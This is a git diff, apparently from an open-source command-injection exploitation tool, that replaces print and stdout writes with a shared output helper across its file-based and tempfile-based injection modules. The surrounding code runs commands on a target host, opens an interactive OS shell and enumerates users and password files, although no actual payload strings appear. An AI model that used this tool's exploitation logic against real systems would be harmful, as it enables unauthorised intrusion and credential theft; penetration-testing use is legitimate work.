@@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index c34befafa3..ab2b6665ce 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -162,9 +162,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -242,7 +241,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques tries = tries + 1 else: err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return response diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 91179a3172..f711bb3526 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -53,8 +53,8 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ Delete previous shells outputs. @@ -63,7 +63,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if settings.FILE_BASED_STATE != None: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE @@ -240,7 +240,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -323,7 +323,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: raise tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) message = "It seems that you don't have permissions to " message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." if not menu.options.web_root: @@ -345,7 +345,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise else: common.invalid_option(tmp_upload) @@ -360,29 +360,29 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": "," (") + ")." if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. if not menu.options.web_root: custom_web_root(url, timesec, filename, http_request_method, url_time_response) @@ -431,13 +431,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -465,10 +465,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if shell or shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -492,11 +492,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index f07f4bf303..318dc40e73 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -163,12 +163,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - output_payload = "\n" + settings.print_payload(payload) - if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" - sys.stdout.write(output_payload) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -294,7 +290,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output info_msg += "' for command execution output." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass else: @@ -311,7 +307,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking if the file '" + output + "' is accessible." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return output @@ -337,7 +333,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r", "") for newline in shell] + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except _urllib.error.HTTPError as e: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index fe47b9ecec..9ff7b69b93 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -82,7 +82,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO @@ -100,7 +100,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") + settings.print_data_to_stdout("\n") # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -178,7 +178,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) + #settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) _ = True @@ -200,7 +200,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 @@ -219,49 +219,49 @@ def reset(): if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c1c50d80d7..382d196197 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -57,11 +57,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0 and not _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) """ @@ -75,7 +75,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) """ @@ -92,7 +92,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e6fbd63ba6..37fd763d83 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -142,7 +142,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -267,15 +267,15 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -293,7 +293,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = "" else: percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise @@ -350,7 +350,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -359,7 +359,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -383,7 +383,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) @@ -408,26 +408,26 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 15814e8006..8a11fcb2a8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -195,7 +195,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : @@ -216,7 +216,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -250,10 +250,10 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break @@ -274,8 +274,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: info_msg += "\n" if output_length > 1: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -297,7 +297,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -336,8 +336,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: output.append(chr(ascii_char)) @@ -379,10 +379,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") for output_length in range(1, 3): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) @@ -402,7 +402,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -441,13 +441,13 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = [] percent = 0 - sys.stdout.flush() + is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(timesec * ".") + settings.print_data_to_stdout(".") # Get the execution ouput, of shell execution. if alter_shell: payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) @@ -467,7 +467,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -506,7 +506,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(" (done)") + settings.print_data_to_stdout(" (done)") return how_long, output else: checks.unexploitable_point() @@ -517,12 +517,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - print(settings.print_info_msg(info_msg)) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_output(output)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 95091f24c8..389de5c0fd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -70,22 +70,22 @@ def extra_headers(): settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting extra HTTP headers." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def cookie(): if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.COOKIE + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def referer(): if menu.options.referer and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.REFERER + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def host(): if menu.options.host and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.HOST + " header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) def user_agent(): # Check if defined "--mobile" option. @@ -93,7 +93,7 @@ def user_agent(): if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: menu.options.agent = checks.mobile_user_agents() @@ -103,24 +103,24 @@ def user_agent(): if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) extra_headers() cookie() @@ -152,12 +152,12 @@ def examine_request(request, url): except ValueError: # Invalid format for the '--header' option. if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: @@ -170,18 +170,18 